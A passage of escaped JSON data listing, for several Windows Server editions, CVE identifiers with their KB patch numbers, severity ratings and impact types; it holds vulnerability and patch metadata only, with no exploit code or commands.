Execution\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074594\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0833\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093114\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467697\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487000\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534297\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537821\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003671\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005613\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014738\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2003 R2 Service Pack 2\":[{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2003 R2 x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 R2 for Itanium-Based Systems\":[{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\":[{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898857\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6130\",\"kb\":\"3108670\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108371\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126587\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3185330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197868\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015549\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041681\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054518\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022719\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025341\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038777\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093118\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103718\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467107\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499164\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530734\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534310\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 R2 for Itanium-based Systems Service Pack 1\":[{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197867\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 R2 for x64-based Systems\":[{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code 